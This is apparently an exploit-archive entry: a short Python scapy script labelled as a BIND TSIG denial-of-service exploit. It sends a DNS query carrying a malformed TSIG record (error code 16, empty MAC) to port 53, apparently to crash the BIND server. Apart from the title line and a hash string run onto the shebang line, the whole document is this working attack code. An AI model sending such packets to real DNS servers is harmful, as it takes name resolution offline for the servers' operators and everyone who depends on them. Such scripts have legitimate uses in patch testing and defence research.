BIND TSIG denial of service exploit.
d5de081d8f074ab17f17ab3bb8bf92ccf47e34c228b15fc1557bfc3b911a004c#!/usr/bin/python
#coding:utf-8
from scapy.all import DNS, DNSQR, IP, sr1, UDP, DNSRRTSIG, DNSRROPT
tsig = DNSRRTSIG(rrname="local-ddns", algo_name="hmac-sha256", rclass=255, mac_len=0, mac_data="", time_signed=0, fudge=300, error=16)
dns_req = IP(dst='127.0.0.1')/UDP(dport=53)/DNS(rd=1, ad=1, qd=DNSQR(qname='www.example.com'), ar=tsig)
answer = sr1(dns_req, verbose=0)
print(answer[DNS].summary())
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